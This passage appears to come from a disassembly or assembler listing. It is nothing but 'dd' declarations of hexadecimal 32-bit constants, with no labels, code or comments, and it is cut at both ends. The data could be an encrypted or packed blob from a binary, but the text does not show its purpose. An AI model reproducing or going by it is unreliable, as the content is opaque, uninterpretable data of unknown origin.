91FB953Ch, 0E020E330h, 0BB57D6D8h, 0E80A257h, 794B0267h dd 0FFC8958h, 9DE6B1h, 59418763h, 0FC5E2D3Ah, 0B3B01400h dd 7F6DC503h, 927EE89Ah, 7901003Ch, 0AB248E52h, 0CE743A44h dd 0B739D8C0h, 0DE58ED56h, 31235868h, 0A03C81Eh, 0DB46AEB5h dd 0BFFAC004h, 6B3039Dh, 4AFDF45Eh, 913C9114h, 593860ECh dd 0C1788EF0h, 7B579618h, 0AD8C41D7h, 61598071h, 0C152CA2h dd 14EF75CBh, 0B8A827EAh, 0C10B8006h, 0A3002924h, 0D6393D54h dd 76E6C7h, 1DEB0544h, 578A9118h, 0EF54F4A8h, 0E9718F60h dd 2C688Eh, 40E835F6h, 991D7B9Ch, 5990BB00h, 3696036Bh dd 53AE2976h, 350D8C80h, 0F87B13C9h, 0E504007h, 0B7B2B8E3h dd 40CFC2F0h, 0DEBF4h, 65C1191Fh, 5B495DB3h, 5A249702h dd 82EE9291h, 202D0E48h, 0CE0AC118h, 80B2353Eh, 0A369A99Ch dd 9158AB3h, 710C09A2h, 44E9A804h, 948AE712h, 12337B11h dd 8040E4EFh, 933A3D08h, 715901F3h, 0EE96A981h, 0BE61D414h dd 344240h, 0CED49BDh, 956F4E32h, 24BAB51Bh, 992100CAh dd 0DF881959h, 30002B40h, 0B7953343h, 5671C95Bh, 0FB26CC52h dd 4E204014h, 1F0738AAh, 88AD7A6Fh, 0E3071710h, 9A5C00A4h dd 0F0C044D8h, 4926C196h, 0BC10E7h, 0DC437EFCh, 1330E13h dd 7D2D50Dh, 207C0585h, 1F02363Ch, 532E50D4h, 184846B9h dd 0F9E30DB2h, 0BF006904h, 0C7415365h, 243F99Ah, 543C8C8Bh dd 0B4016A9Fh, 0AC52A029h, 0D0362351h, 7C268900h, 1C5949EFh dd 544FCFDh, 80F3EB9h, 38E8070Ch, 8090FAC5h, 75DD4F59h dd 0F11C826Bh, 0A580EE1Ah, 855BCE63h, 0C1C22A4Bh, 261D00F4h dd 0B6B44E31h, 3F18E7B3h, 0FA50CF3Ah, 6199C0A0h, 926CF8EEh dd 50AA5601h, 8E3A8751h, 0C908EC36h, 47063420h, 899ABEh dd 7EFAEAE1h, 8A3D9CDAh, 1FF89802h, 0C0D273A5h, 3A64D94h dd 5E18DDE0h, 0D2BFDBE7h, 4C687FB9h, 85CE83h, 0BE5CE618h dd 0A30E2712h, 60335886h, 9CCB521Bh, 0AAB6004Bh, 0EF1297E9h dd 0DB060347h, 0F06B8A5Ch, 7AB00A8h, 6F795D26h, 1852FAA1h dd 0A2278h, 8BD8C34Fh, 0F63558Ah, 0E03D58B1h, 0C7DB2F21h dd 0CEEE0FFEh, 0F70F70D3h, 38054049h, 0F4EC001Dh, 0C90B5763h dd 0CF53C0C1h, 36026730h, 0BD1C2C44h, 820FF111h, 3A71804Fh dd 9B9B8CEBh, 3C8B039Ch, 63D1B384h, 0FA398909h, 106820F1h dd 0F84D1588h, 6FDD121Fh, 0B5430091h, 6AAE7CFAh, 31B76100h dd 0B9AD3656h, 89C0092h, 76D4C893h, 609186ACh, 94C2F909h dd 0BADA000Ch, 35C92E0Eh, 0E8A960ABh, 8087604Bh, 80971F3Bh dd 0B24354B0h, 7399E9Fh, 0E5C8D8B3h, 88E0AAA6h, 5C45C9AFh dd 62EEA420h, 2E3014E6h, 2A012CBFh, 0D3E09F36h, 267CD45Ch dd 0A7C64F03h, 0AB75C587h, 5D58E146h, 27DE460h, 1E012763h dd 80461105h, 47C59411h, 0DCFC0378h, 5DF0ACE2h, 0DA86FAA0h dd 17E9A700h, 0CD33C652h, 7BCB00A6h, 0A4350BC4h, 5D059262h dd 0C8BF31D8h, 48AD9071h, 4599Dh, 0D3A72355h, 51093D0Ah dd 0B0B1D013h, 6A46D4ACh, 1520317Dh, 0AA7BDC03h, 0DDF0A4ACh dd 8CA00D22h, 0B933FABFh, 2F8BD200h, 3EBE191Dh, 34745953h dd 9EE9FC81h, 0BCF6006Ah, 0A5BD4CE1h, 0E0947B00h, 7D09276Fh dd 72DA3B01h, 533C7654h, 3678180h, 0C97156A4h, 3C8614B9h dd 5821BD9Ah, 12B010A0h, 0B1162199h, 3809AAC4h, 0C268A016h dd 96AB608h, 81D69269h, 0E3245C33h, 13F4AEFh, 91E373FAh dd 0B997C755h, 0FB440054h, 0BAC0272Dh, 0DB5C2116h, 0C7126C62h dd 6BABDECh, 0B25ED900h, 0F6C90DE9h, 1103131Fh, 0B09BC24h dd 5D6CA091h, 3C978336h, 3A007BBDh, 25E07A8Fh, 7702FC1Eh dd 15963EBh, 12FC414Eh, 0BA2A5F10h, 371D201Fh, 61CEC38Fh dd 3D5EDE9Fh, 27B3423h, 16AFF936h, 0B440B96Fh, 0E4018F8Bh dd 0FFF7DBBAh, 5840BE58h, 161EE9h, 59F43991h, 0C72D7513h dd 0AE0CB0E8h, 2934B423h, 71C5168Ch, 3DF02854h, 100A8324h dd 8C1A7C80h, 9E3F5D4h, 311EA7CAh, 2B363C98h, 980BC09Ah dd 2927CDh, 82AA598Bh, 1E77025Ah, 7D17D7Bh, 62EC80E0h dd 0FC594A8h, 0F77C03Ah, 0A0975228h, 0FC7199A1h, 6CD930D3h dd 89CD53A1h, 0C2852112h dd 0DB570405h, 8C473800h, 24416FA4h, 0C10477E2h, 0CC023919h dd 610C7191h, 516FAA0Bh, 3D4F17CBh, 30A400EEh, 8E3C9DFFh dd 90101848h, 46605184h, 81FC09CCh, 0A316C002h, 8B751273h dd 4049E94h, 0A4A87136h, 5FE480FAh, 0BF6AEBF4h, 9D8868F1h dd 402CA6C2h, 6ED50869h, 5CBB2E00h, 0C14211AFh, 3B8A16DFh dd 13082049h, 0A8915F28h, 1E3DF70Bh, 52E303C0h, 5136D7B3h dd 0B4AAEFB0h, 0A201A771h, 3563AE8Eh, 0BCCA555h, 10CB228h dd 4F29511Fh, 0EB8EB6E6h, 26BB9D99h, 259C14D4h, 0AE978090h dd 25E637Ch, 48DDE460h, 0C89866A7h, 32EB7B4h, 8140A8AAh dd 113A07Fh, 0B6619ECFh, 6662EF39h, 453C145Ch, 0C8FB2C6Ch dd 0FD1E7A0Bh, 98855E84h, 89007230h, 65D78FB7h, 0F6DE6D4h dd 0E8195F99h, 8C80AA04h, 1899A800h, 33BEE680h, 7D3C7508h dd 4A6EADBh, 0D43ABD4Fh, 8CB0A48Bh, 0BE960413h, 92B7E420h dd 11FB027h, 14B4C9D1h, 0ECA893AFh, 0B8092DECh, 0B172BD71h dd 8C40C568h, 5019BF5Ch, 2DA2CAAh, 3E738C6Bh, 9882E537h dd 0D427210Fh, 40096A75h, 0B99C66AEh, 0DA8700B0h, 59863DD9h dd 0BE0C9E60h, 222CB08h, 950A264Dh, 9C81F96Dh, 824A5AD4h dd 0F8913B51h, 98ACA9F5h, 0B587A4A4h, 68F3B860h, 18035877h dd 2FC0B678h, 94B38032h, 54354C5Dh, 4A972C79h, 6747082Ch dd 0B5FB8C80h, 1B26E1Fh, 0E1ED6A92h, 0C866C0EEh, 0BA31DF82h dd 0BDF43E72h, 297261C6h, 350AA1C8h, 8030C16Fh, 9B9559D3h dd 0E9414800h, 5C51EA68h, 0E55703A0h, 0CC66376Ah, 228D281Ch dd 0E19B7443h, 3107FC9h, 97E86D6Bh, 50A8B0BAh, 6303A6E0h dd 3088EE99h, 403898A4h, 0E141C624h, 5E239ECh, 5F010D00h dd 3A8B9639h, 7DCB0018h, 8FACDDC6h, 0D300CD49h, 43A978FEh dd 185EFFAEh, 40EBFDBAh, 7E0F6D8Fh, 8AED55E5h, 65035068h dd 58AA5176h, 9900AF30h, 2A9D98AFh, 887B584Ch, 0BFCDB3Dh dd 80FDABA3h, 40E4F4CDh, 580B2922h, 4DC00988h, 0C7B56281h dd 0EC8E21CAh, 40038DBAh, 4EDCA656h, 0A870D538h, 0AA424B3h dd 0DE4D9311h, 54146090h, 0E9012933h, 4C6D181Dh, 0AD60E5F8h dd 646E0002h, 8A98C3B8h, 0B9008C25h, 0D061996Ch, 737DC805h dd 2A68A4B1h, 58052C9h, 3EC65D6Ah, 0B081399h, 6880C4D1h dd 8AC1B402h, 90E43828h, 0A667903h, 0F3EC843Ch, 0C5BDA0D8h dd 0FA2B0156h, 0E23175E8h, 36708642h, 511BFBh, 0B1B845B3h dd 0D5253896h, 6B290F00h, 1F1E3132h, 87DB39E9h, 15089A6h dd 1B402A4Fh, 0E7A04098h, 0A003147Bh, 839F028Fh, 3C507C6Ch dd 0F0006606h, 5BB8E8D2h, 410012C7h, 70B40354h, 1847CD4Fh dd 31408C22h, 3C1F029Ah, 664FFF51h, 7446C0F4h, 35953FEh dd 0C8E7D1D2h, 0B100F0F5h, 90EFCC30h, 0F32A76h, 0F80DBB9Ah dd 0CF150B57h, 8089130h, 3AD9771Ah, 0D180FEC6h, 82229E33h dd 64032725h, 6A5205A4h, 0B280004h, 68599DBDh, 2A03189Ah dd 0A4FDE13Dh, 0FA48000Dh, 13105FB1h, 0D9774FBAh, 5E8D9000h dd 0F87A19CBh, 400C33B0h, 8EC0E050h, 4CEC6A04h, 1B11C00h dd 42232B7Eh, 5AE900D9h, 7F49D205h, 75009233h, 59C72F2Eh dd 0CCA1CB5h, 0DA44D4FFh, 0F009B90h, 0F83315D3h, 0EE9D68h dd 7B14C65Ch, 64C166E8h, 0FF700200h, 5BCDE91h, 51BF001Eh dd 8FCB5FECh, 30C3FBD3h, 0E8421832h, 3D770Bh, 673C8114h dd 0DF35338Fh, 0FC60B6E8h, 21E6DC28h, 0B5DB00CBh, 4220CCC2h dd 0BD043766h, 0B14BE412h, 0C9F4A900h, 0D70326BAh, 0D85498F3h dd 0F0CBA8EAh, 3144037Dh, 273A12D0h, 0FFD63C90h, 16A9858h dd 0B25AFEFBh, 9980D46Bh, 0F23DA562h, 5BF0E2FCh, 8E32400h dd 0AC58DD32h, 0DED10309h, 0EFFB112Ch, 2DB2301Eh, 4F0F4A00h dd 2E6B18h, 1DEB7B32h, 92DD34C4h, 0FF7E9F00h, 10D6E6F1h dd 3B2670B3h, 718CBF28h, 45E9B883h, 8DCA5200h, 0AD047D10h dd 666E002Fh, 0A80EF0Ch, 621242E3h, 9300DF90h, 0DB0B4A7h dd 0B2C70053h, 219C8FCh, 9D009FFEh, 6B63E579h, 0F6CB282Bh dd 0D5570035h, 0EF6F957Ah, 0DA0374EAh, 0C22F5571h, 0DC01963h dd 0DCFC0868h, 82013393h, 0BF8D4F9Bh, 0D0D44C16h, 9D2200B1h dd 7A51BDA1h, 0BCA4E9FAh, 72E550Ch, 6FFB405Bh, 0E8091DFh dd 4D049978h, 5488C118h, 0C044E519h, 7D84F739h, 0FE290443h dd 98B4885Fh, 9CB2C441h, 18228392h, 0C821EA00h, 0FC6C974Dh dd 0A6107100h, 7251B3Dh, 8CC453DAh, 22D69C00h, 0A4AC1205h dd 9419E129h, 0A0310739h, 619132B5h, 8DDDB6CEh, 8B848C45h dd 0EBF38C04h, 2188Ch, 0A30B954Ch, 0D72DEE50h, 5A40891Dh dd 2AC0B594h, 0BA009CA1h, 0C385E2C8h, 0ABAF25h, 0FEDCA541h dd 59C0C680h, 50CBE329h, 0ADF8EA05h, 0E92E8400h, 27E42Fh dd 31A5FBDFh, 9F070EBFh, 199D3B0Eh, 0B9664064h, 568D1E3h dd 0F411601Ah, 39C021E5h, 0E88DF164h, 1900B3A7h, 495388A9h dd 24421D7Ch, 91945C5Ah, 97D450A3h, 0EC5479F2h, 68306A74h dd 331921C2h, 320C1CC8h, 8F42C0A8h, 99AEE09Bh, 0DDFE0276h dd 0C1C3EF15h, 0A58318F4h, 0ED8D39h, 90AD187Eh, 0FE080992h dd 0B3001C73h, 12A836BDh, 2D60B5h, 50D149EEh, 0C3BC6D66h dd 48BFE100h, 1F8134B9h, 982B1854h, 0CE4718BBh, 74C18400h dd 6B401845h, 0F82200F0h, 0D2B92A1Ah, 551804BFh, 3149732Bh dd 0CD0103C4h, 9CDA0D64h, 0DC43A8F8h, 0BF206361h, 609D82FAh dd 0D700E05Ah, 0C6FFB4CDh, 0E1F6745Ch, 2E6D20h, 5E160CB2h dd 0DFB04F65h, 0E1F47D98h, 0A61948C0h, 0B888DBFAh, 9B1412A3h dd 20700033h, 0F1E858E6h, 0C006CB79h, 0CF85736Dh, 7E630068h dd 15ABA98Bh, 0B453FF16h, 90230084h, 339D10EFh, 0A90100F0h dd 0CF77E075h, 3E561B05h, 0B9C0728Ch, 89AEADBCh, 38D50F92h dd 0D843F8B4h, 0ABD0EA4Eh, 0FF0F07B8h, 0E06B528Bh, 0AFEB602Ah dd 0BFDF00ADh, 3ECC2711h, 0A150541Dh, 0E1442690h, 614D602Ch dd 0FFD108ECh, 6586C200h, 151AE9CBh, 1705C17h, 5030E030h dd 1E96469h, 67E1F203h, 0CABE848h, 0BB6FB62Ah, 4910C068h dd 7B00C2DDh, 93281EF8h, 3F05A199h, 9EAE5677h, 0B9B8E00h dd 0C103FE9Fh, 49739959h, 5C384154h, 0B01A126Eh, 3011C08Ch dd 7A295549h, 0B62E24FBh, 0C60E903Bh, 21E3000Ah, 3AF1C498h dd 0BA004AFDh, 8365072Bh, 1FF29C6Bh, 0DDFA5EFAh, 0EC592202h dd 48FC448Dh, 0E3521Ch, 76CA6B54h, 0DD57C74Ch, 3C531401h dd 38492E7Fh, 0EE8B7980h, 0A1BF1A5Ah, 720DFF48h, 0A6D62002h dd 0A0DC90C0h, 5AE6B080h, 6E280085h, 0B81A45E4h, 127409B9h dd 0DADFC800h, 4A0E1CF8h, 0CD81C017h, 0E7C27087h, 69FC8A00h dd 330A0CAFh, 6D6B1D13h, 4F03D218h, 0D146390Ch, 0DB1568B3h dd 1FECE627h, 2B1DFAC1h, 200DD64Fh, 1A0C52ECh, 0A9932403h dd 3A0F8050h, 0DFDD47C1h, 964CE507h, 0A6D34FA7h, 8392CBB1h dd 0AA2800C4h, 6542CF01h, 3317204Eh, 680019FAh, 477417F7h dd 2E9300EBh, 88B92457h, 54011E16h, 8650DA2Fh, 78204FE2h dd 61EB00D6h, 9D695CF6h, 0C0003765h, 84E29F2Bh, 79B4DBh dd 110CC608h, 0D1C3C90Eh, 86BC7112h, 83E0C4B1h, 5C00EB0h dd 0EC02B528h, 0AD40C2B9h, 0CCE41635h, 4F601D02h, 8F43E0AFh dd 78118C8Ch, 6B6503A6h, 3B2EB2D7h, 800480A4h, 489AD53Dh dd 0C35B6110h, 8CDA9215h, 714812h, 3F2A7D2Fh, 200040B1h dd 9B34090Ah, 24A4DD4Ch dd 2918FEFCh, 0EF910040h, 3951CEB3h, 9598A00h, 7F74D4D8h dd 0F3FF00F5h, 5D17449Eh, 46032DF9h, 0D627C5D7h, 562CA0BFh dd 2AC73AEEh, 0F3D11962h, 0A5BEEF23h, 44AA4080h, 0F6B70057h dd 0AD116323h, 5187049h, 0AA60F94Ch, 28AB00BBh, 9F8C0B83h dd 2A01D053h, 7923A694h, 1EB0F0B1h, 0F6352C60h, 6AAC188h dd 1D6A985Eh, 0D50364A4h, 59488C06h, 0F3900026h, 22043143h dd 0C50C636Fh, 4962DA5Eh, 706E00F1h, 5CEB4015h, 2E0050B5h dd 0B9E7BF95h, 0F78A4F7h, 3C75F4B1h, 0E8B1069h, 66A00D03h dd 69DFAE0h, 1827D93Eh, 0AF91A735h, 0C5400A2h, 0C8E9872Eh dd 7B0049A5h, 329B1E58h, 7ED0A62h, 0B71CD6ABh, 0AAF40009h dd 8030D2A5h, 0E698F81Eh, 0A057693Bh, 0A6691580h, 0FD00917Ch dd 4370760Ah, 0FA9F733Fh, 836200AAh, 0C13011CCh, 977153BDh dd 4C6119C1h, 80402ED3h, 666AD9Dh, 40A5F0C0h, 0B60AA8D8h dd 0D829C8EBh, 0C40BF180h, 0FAAFCFFBh, 0AC9CA82Dh, 762800C7h dd 68CA0572h, 63280A7Ah, 20C0E899h, 32DA8149h, 0CCF1523Eh dd 204AAD14h, 31F8C803h, 32F8FBC3h, 9B0C5CB7h, 21E65950h dd 677E00C5h, 541B6671h, 8A24BBBFh, 13F6A0Ch, 0ADC69895h dd 0BC4076EAh, 1840E16Eh, 68C02158h, 530360D5h, 9BF89ABFh dd 8B513F43h, 71FA70h, 5559924h, 7B7517ADh, 2E40B700h dd 235E13A8h, 382F7119h, 0AF00C007h, 0DF58CFF9h, 810092ECh dd 851A3F1Eh, 9B1EED3h, 5A320A6Ch, 63A04400h, 200AB4Ch dd 0C0FAE04Eh, 60208C80h, 21D31152h, 9C008DEBh, 0A5EE930Eh dd 43284Ah, 49AB94CFh, 92F0483Eh, 0D518B000h, 8179BCE7h dd 941000Ch, 95F13494h, 1700DBDFh, 0B89E752Bh, 305CDA4Fh dd 67601984h, 0DF010C98h, 26D515C0h, 0C3FF4111h, 0E346CBBBh dd 251C014h, 194562D3h, 612052C1h, 3FFA8C92h, 0E20123EEh dd 7D8ABC8Bh, 2C4DC0A0h, 7AD24C03h, 0B30524h, 0F2C55C30h dd 5AE0E1DCh, 0A7951D00h, 910F6070h, 0BA24000Bh, 7B417C1h dd 730065D1h, 0D3AEC2ACh, 1E84898Ah, 6DF0B0h, 4546D87Ah dd 74C7C8C1h, 5F360E79h, 0D01400B9h, 7BD1063h, 50012316h dd 3B88249Eh, 0D4015D89h, 0FFC18059h, 0BCDDE5EEh, 38C20024h dd 0D4D37928h, 20C0C388h, 0B406499Fh, 51D703DEh, 0BF2653DBh dd 2D086903h, 0C665F89Fh, 0B05828F6h, 8112F330h, 0DDA7D140h dd 57BC3F00h, 0F55F8D9Ch, 0AB9D0046h, 0D6044ACh, 0B9C324CEh dd 1C0140B2h, 5CD90A60h, 71BE1850h, 300CC234h, 0E9430DD1h dd 1B22004Bh, 0D0028196h, 0A6710C85h, 490AB4A8h, 6EA8A500h dd 124D3EB1h, 0D27C00F1h, 0B8CE3364h, 0A728DD85h, 291CE787h dd 0BF178DC9h, 6450DD0Ah, 806348E3h, 9D9817h, 79F1780Dh dd 0A1FCC8D0h, 0CC86D10Ch, 0F4177981h, 384C605Eh, 4E0A0384h dd 0BB9D0C1Bh, 5E76E821h, 0B0CE0709h, 4096D07Dh, 0C021261h dd 58DFE82Ch, 823FAC01h, 898108BBh, 948F6341h, 0DD119E8Ch dd 0B2E61501h, 8C40BDF7h, 847C92A6h, 84A58D00h, 6D615F41h dd 58130AA4h, 6F54CEE4h, 90ADC5A7h, 0A5143B6h, 0C1B42E54h dd 83D18F00h, 0BEA4F86Dh, 9EFA02B0h, 0D28BDDBBh, 5F9B2080h dd 0CF052986h, 83591A56h, 0A425700Fh, 7400A609h, 528F952Ah dd 569A58C2h, 42A4460Ah, 6163010Bh, 0C26617FCh, 0A82034E1h dd 91C40085h, 0B5900D1Fh, 0B401886Fh, 9B3962E5h, 0C4108905h dd 4D00E3A3h, 5A30AC59h, 28EF5F19h, 0EA34E9D4h, 0D08F0082h dd 62205043h, 80912A34h, 0E4795600h, 9D1A47h, 5AA2FEE5h dd 0CDA8878Bh, 0DCEA61C6h, 6C310049h, 0F8795EE7h, 8503435Dh dd 466A5BE8h, 0B1C3C04Dh, 0C40200A5h, 0EE354BEh, 0D403F92Eh dd 6DD91575h, 5080C47h, 395865F4h, 18BEA00h, 0AA37AD8Ah dd 8ED61282h, 175807A9h, 7889D1EBh, 7ECFE40Eh, 2E1B1E0Fh dd 0F261C022h, 0E038540Dh, 0C95A6029h, 0D5AC567Bh, 1411E048h dd 1DA8CB95h, 40E002E2h, 9E028616h, 90C2E51Ch, 0B278C0DCh dd 0D6D400D1h, 0DD5AC529h, 0F9C29605h, 0FFEAFB1Ah, 0A8A1E340h dd 0E590601h, 1C03103Ch, 1B647DCh, 0EB9907C8h, 32D52989h dd 5E510834h, 0C61035Ch, 3398CEFAh, 26001276h, 8F742A15h dd 3FBCE4ABh, 183919EEh, 0B2206700h, 9001C307h, 12790402h dd 0E1468C9Dh, 8422C117h, 191A6001h, 0C42A7F6Ah, 70075EA7h dd 977752AEh, 29809F47h, 3ACAFCE3h, 5906DB22h, 289B7316h dd 8219DD08h, 3E18376Ch, 52250090h, 0A1E40C20h, 21261DAAh dd 0C8EA80B0h, 91DDF348h, 4E39B01h, 0F8C26777h, 30C625FCh dd 0D5596B42h, 0B901C14Eh, 4F9955EAh, 0C620FED7h, 621C071h dd 4AC6E95Bh, 1D63700h, 0F38CA674h, 0AB04066Eh, 0C9EC87B1h dd 6231C100h, 89BFB913h, 0E28F0F71h, 0D8C0D1E8h, 0FF836A10h dd 0CF068AE0h, 0A0DA439Eh, 0C6741E38h, 4AD84F79h, 4C784240h dd 2A00A257h, 6598CAEBh, 1801C2E7h, 68503F20h, 0F8E5DB9Fh dd 11C05C48h, 9DF03D63h, 984252C5h, 8A23D400h, 0B1AD014Dh dd 54ACC907h, 81A91537h, 0D21FA15Bh, 0F2DAB98Ah, 1C78768h dd 49DD10CBh, 0D67F248Eh, 0F578A901h, 72EA5AA8h, 8654C848h dd 5F002142h, 0AFB35C17h, 0C9030412h, 215B05F1h, 87F118D7h dd 607179EDh, 88ECA600h, 93BA1754h, 0BBA50068h, 0DC7EFBEDh dd 67077A22h, 17599140h, 0EA14Ch, 0FCA7F52h, 0B0ADEAA3h dd 0B3E40277h, 5382FB00h, 0FA9D9E17h, 0FDFC70h, 0B02A1FC8h dd 5A4214D1h, 0F3159C90h, 7A47874h, 80CCA97h, 570A1721h dd 2551A850h, 4DCD01A3h, 2B509EE9h, 4058DC30h, 6A1C0C02h dd 442C2AF1h, 91200060h, 6234F594h, 1F2ADE54h, 0FE018C83h dd 0C27A43F2h, 4C203F8Ch, 2C7492A8h, 0F552A2Bh, 8D0FEF90h dd 114D9206h, 555F770Eh, 915D8CDEh, 375C28AAh, 98D20138h dd 0E4076AE5h, 0C8A1D2D7h, 80540A4Eh, 0CB33A731h, 2CB86F50h dd 7F07D0Dh, 0B0088197h, 0DBD604EFh, 0DAA23F01h, 58121F4Ah dd 42E3398Ah, 0D4F50C28h, 0EC74E8D0h, 802C4348h, 0F9C05FF7h dd 96B20009h, 4A1F346Eh, 0E72C90EBh, 863CA0AAh, 99879E38h dd 2F7DB1h, 1A14EC5Bh, 0E16BF228h, 99C9CF0Eh, 21E4E959h dd 3352DD0Ch, 9D7B898Ah, 0FC498994h, 8A88D680h, 0BA000FBEh dd 6AF47A8Dh, 0F0A1EAA9h, 879B0310h, 7CFDD51Fh, 9419B4CFh dd 7A88308Ch, 5200A923h, 97C6FD92h, 40FCC59h, 0DA9ED3EFh dd 0CA7080D2h, 0A8A6DCA5h, 81908748h, 0C077F795h, 392FD0h dd 0ED185F02h, 0B44AB709h, 0C4FBBA05h, 0D0202B2Ah, 60EA59BFh dd 9C394968h, 0E400261Ch, 425FFD06h, 10FE180h, 0D5519916h dd 20E360B1h, 7A098BCFh, 8421A0C3h, 5E7050h, 9A39A792h dd 0E816F97Fh, 180981B7h, 0A1880183h, 799ED1F2h, 0F7F1F30Ah dd 39D03CB8h, 3A2F8F0Eh, 0E4F2AAE8h, 3F855B1Dh, 7415EADDh dd 6F018000h, 60A5A3CAh, 2313D8E5h, 9D2452C0h, 60435C94h dd 1C71019Ch, 0A230C48h, 0CB41804Fh, 0E920286Dh, 6F7100C1h dd 0C77B33F7h, 0BB032309h, 0E09BAFAAh, 9AD3BFh, 748E6051h dd 0FE3D81D8h, 487F6400h, 0D65B21B2h, 14E902D3h, 5362D76Eh dd 9057E5C0h, 1C60E490h, 86CF3BB8h, 3EB2AB1h, 0ECC620C4h dd 33F6E9E2h, 75CE7C11h, 0E3CC40h, 58A859B8h, 0C1F28367h dd 0D1601612h, 491581Ah, 0C240D8FCh, 83F0189Ch, 7A6E0B00h dd 4A41991Dh, 6C7C06D7h, 0F9621CDDh, 934FE4Ch, 87D44F2Dh dd 6431FC0Eh, 75C1A089h dd 0C0AADAE8h, 306DB361h, 5C30A403h, 91D4699Dh, 41DC2C7Ah dd 1E6D02FDh, 9040FDB1h, 4419EDAAh, 0C7C8ADFEh, 0C0059820h dd 96584EA9h, 0B90C7E2Bh, 0D1A9F39Eh, 9FD040CCh, 4A9B4484h dd 657EA701h, 0DC35FE8Eh, 60BC24h, 0AD64098Ah, 8C255499h dd 0AF715D00h, 0CAFD7FEEh, 681B4CDDh, 3F1EDEh, 0E40329Ch dd 0E90916C9h, 49E356Dh, 962256E0h, 0C8858020h, 1D0E7AF5h dd 46E79401h, 21A1CFD5h, 89D4E8E8h, 512260h, 40F54A69h dd 4BF3CB2Ah, 0C877EB13h, 90171809h, 0EE54E44h, 0DCB0A4E3h dd 0DE006A1h, 43308067h, 99D07B6Dh, 8875ECABh, 0CD76E149h dd 21533B03h, 98D1362Bh, 15CABBE2h, 8448751h, 85E7913h dd 0FE8154C0h, 0A0BADFFAh, 4BF63FCh, 0FCDAE871h, 0D38731E3h dd 0C648C980h, 1878D403h, 5016047Dh, 2704F71Ah, 0A9C47ED7h dd 2777D005h, 46D6880h, 6E7B1761h, 85EF00C0h, 3FD5E9D4h dd 7A520E71h, 0D1574E4h, 8750Fh, 216CD530h, 60A3FBA1h dd 7AE19E8h, 0B0A89B7Ch, 683F1C7Bh, 0A8528230h, 0E07102EBh dd 0FE48C9Eh, 31E51D8Ah, 367AFC80h, 67FC5ADAh, 53DDD1C4h dd 0BD0A8050h, 1584425h, 100DE635h, 1C446061h, 71A07530h dd 0CCDEA4h, 45C7D3Ch, 2211927Ch, 7EC31200h, 76439D77h dd 0DE2DE2D4h, 40C42EC9h, 16526396h, 0A3C2C804h, 0C488F0A1h dd 95D631D4h, 743F9061h, 5440A08h, 0ED4A474h, 849645Dh dd 15C0F520h, 0DE7952ACh, 771E4458h, 0C709E500h, 0A28DF839h dd 85410186h, 9520894Fh, 903AE899h, 1D700600h, 2B27DAEAh dd 1B0900E7h, 30978B66h, 0E3002E71h, 0E6CEBA5h, 0C9C0E0h dd 1C51B642h, 0F2858863h, 1D645F00h, 0D0596FBDh, 1F98000Ch dd 67A9E840h, 39000696h, 0E2944381h, 0F3BD23E3h, 442FF4h dd 961650E0h, 0DA887FDFh, 6E0067F8h, 9DF4233Dh, 0CA449F6h dd 6F3F4A18h, 0B730BE60h, 7F704016h, 0F7C7565h, 3CE3DC4Bh dd 6D4DDF83h, 0B922287Bh, 0D2D40017h, 742DF7DAh, 4C004E80h dd 337378EAh, 0BC6757h, 20F5723Fh, 0AD61F162h, 53C0390Fh dd 139F23B9h, 4E2AE064h, 0B14801EDh, 0DAB36F3Dh, 1EA2ECEBh dd 0D13BDF00h, 0B8D78876h, 52B77E9Ah, 7307A834h, 70B21419h dd 49A81C80h, 0F05C1601h, 0E9AB6CF5h, 154F3260h, 0A04CF818h dd 7DF7261Dh, 0A24D178Fh, 0DF19622Ch, 65216301h, 975080ECh dd 3089B0E0h, 3E214EF2h, 7F01E95Ch, 0A0A78B69h, 8048D077h dd 42E89Ah, 877640E8h, 0CADAA797h, 6E1B13Eh, 94350608h dd 0D3DF00B1h, 0E4D79DD0h, 0C33F3427h, 0C1AA8080h, 0F2EEA84Eh dd 0BD28C011h, 2202D330h, 0D60F8875h, 0DDC2868Fh, 7E270A42h dd 0FD50C021h, 50747245h, 306BCC26h, 0FA699A96h, 0B901BB7Dh dd 0A229A07Ch, 51E090D8h, 0FDE00335h, 869AF869h, 809005E2h dd 0ECA86AFFh, 6C001361h, 0E15F439h, 183AA275h, 14D09CB0h dd 96186DB4h, 943866ECh, 0B94844DFh, 80BCC530h, 0F97274h dd 0BADDB5D0h, 5631FE80h, 9E52A700h, 250BD33Bh, 0A24900F1h dd 3F5CFCB7h, 0E51815CFh, 3A40995Bh, 80C9DEC6h, 4241A881h dd 8600B707h, 29A21C56h, 0B03DA5h, 0A177C036h, 11F484CEh dd 0B1F0DAE2h, 0FF05E300h, 0CAE79A2Eh, 0E210C8Eh, 6FA96823h dd 61C5A2F8h, 0B8401226h, 0DA90AF84h, 0E03600EFh, 0A4323197h dd 0D5703578h, 69D2AD00h, 1367191Ch, 41C560A9h, 22DDAF46h dd 6B7EDB0Ah, 140C099h, 2C4F4DFh, 186541B9h, 0B4914B1Bh dd 832E1066h, 25E73855h, 0D916C405h, 0DDA05FCAh, 29629A90h dd 18332DF4h, 7F00F7F8h, 0AC63ECh, 5B4C03EDh, 0A83B7CF6h dd 560043E8h, 0DD8BB518h, 24BD6FF7h, 80EC27F2h, 0EC49763Dh dd 920073CBh, 17F037AEh, 0E39C89h, 50D839C3h, 7B646D3Ah dd 0CB94691Ah, 0D1244039h, 83F3000Dh, 6A5A8566h, 0B1FE6984h dd 3C248900h, 17615C40h, 8F9D2A6Bh, 80449080h, 6C5120h dd 0FF639C4Ah, 3A4D269Ah, 1DA07567h, 0F208C74Fh, 0A95E0350h dd 3CE001AFh, 0B561D162h, 5FF98311h, 0C8223F49h, 1D2B7FE8h dd 80FABAF0h, 0D4CF6DF5h, 3C3A5610h, 0E7E582D3h, 0A162A811h dd 9E34D908h, 1F0099BAh, 1172F712h, 0DB00E2C3h, 5F380FB2h dd 0E38F58h, 695426CDh, 19B52EBEh, 892981C0h, 7B1FDA34h dd 3DE7B0Bh, 1AAF265Dh, 18C0F18Ah, 4F15D044h, 7F740E9Ah dd 39B8AB00h, 821DA745h, 0F0DE504Dh, 0E190A071h, 0B523407Bh dd 1A008490h, 1664A6C7h, 8E9B3AE5h, 0A8FC9000h, 0CA2082F1h dd 4CDC000Dh, 30181FAAh, 9E0FF9F0h, 0AFD47717h, 9D25014Dh dd 1CFDA8E7h, 261E6032h, 56FB4B6Bh, 5170827Fh, 6066BEh dd 3B6D78D6h, 1CE7164Fh, 466519C4h, 9C4B30DDh, 8F2FB700h dd 161C1FBAh, 0FBA0F100h, 401AC839h, 0F9153918h, 